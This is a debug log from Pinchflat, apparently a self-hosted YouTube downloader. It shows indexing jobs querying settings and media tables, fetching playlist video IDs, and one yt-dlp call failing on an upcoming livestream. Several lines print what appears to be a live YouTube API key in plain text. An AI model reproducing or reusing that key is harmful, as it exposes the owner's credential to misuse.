idle=751.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:34.098 [debug] QUERY OK source="media_profiles" db=0.1ms idle=745.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:34.099 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:34.099 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:37:34.099 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:34.099 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:34.269 [debug] QUERY OK source="media_items" db=0.5ms idle=170.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:37:34.270 [debug] QUERY OK source="media_items" db=0.3ms idle=171.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:37:34.271 [debug] QUERY OK source="tasks" db=0.1ms idle=171.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268518, 22, ~U[2026-10-09 22:37:34Z], ~U[2026-10-09 22:37:34Z]] 17:37:34.271 [info] {"args":{"id":22},"id":5268479,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":172998,"event":"job:stop","queue_time":406545,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:34.277 [info] {"args":{"id":10},"id":5268480,"meta":{},"system_time":1791585454277198746,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:34.277 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:37:34.277 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:34.278 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:34.278 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:34.278 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:37:34.278 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:34.278 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:34.459 [debug] QUERY OK source="media_items" db=0.5ms idle=181.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 17:37:34.463 [debug] QUERY OK source="media_items" db=2.9ms idle=182.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:37:34.464 [debug] QUERY OK source="tasks" db=0.1ms idle=185.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268519, 10, ~U[2026-10-09 22:37:34Z], ~U[2026-10-09 22:37:34Z]] 17:37:34.464 [info] {"args":{"id":10},"id":5268480,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":187039,"event":"job:stop","queue_time":402155,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:35.100 [info] {"args":{"id":4},"id":5268481,"meta":{},"system_time":1791585455100224526,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:35.100 [debug] QUERY OK source="sources" db=0.1ms idle=636.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:37:35.100 [debug] QUERY OK source="settings" db=0.0ms idle=636.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:35.100 [debug] QUERY OK source="media_profiles" db=0.1ms idle=630.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:35.101 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:35.101 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:37:35.101 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:35.101 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:35.249 [debug] QUERY OK source="media_items" db=0.5ms idle=148.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 17:37:35.250 [debug] QUERY OK source="media_items" db=0.5ms idle=149.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:37:35.251 [debug] QUERY OK source="tasks" db=0.1ms idle=150.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268520, 4, ~U[2026-10-09 22:37:35Z], ~U[2026-10-09 22:37:35Z]] 17:37:35.251 [info] {"args":{"id":4},"id":5268481,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151191,"event":"job:stop","queue_time":402604,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:46.556 [info] {"source":"oban","duration":10153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:37:48.679 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b2/a7/b2a71f9efc47598f9ae20acf8a8edc0c0c0d6339ef7c98697f576ebc984fc6b7.json --sleep-requests 77 --sleep-interval 64 --sleep-subtitles 77 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 17:37:48.679 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 17:37:48.679 [debug] QUERY OK source="media_items" db=0.2ms idle=571.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:37:48.680 [debug] QUERY OK source="tasks" db=0.1ms idle=333.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268521, 42, ~U[2026-10-09 22:37:48Z], ~U[2026-10-09 22:37:48Z]] 17:37:48.680 [info] {"args":{"id":42},"id":5268476,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":78649330,"event":"job:stop","queue_time":129473,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:57.123 [info] {"args":{"id":44},"id":5268482,"meta":{},"system_time":1791585477123261155,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:57.123 [debug] QUERY OK source="sources" db=0.1ms idle=776.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 17:37:57.123 [debug] QUERY OK source="settings" db=0.0ms idle=776.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:57.123 [debug] QUERY OK source="media_profiles" db=0.1ms idle=776.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:57.124 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:57.124 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 17:37:57.124 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:57.124 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:57.238 [debug] QUERY OK source="media_items" db=0.3ms idle=114.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 17:37:57.239 [debug] QUERY OK source="media_items" db=0.1ms idle=115.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN 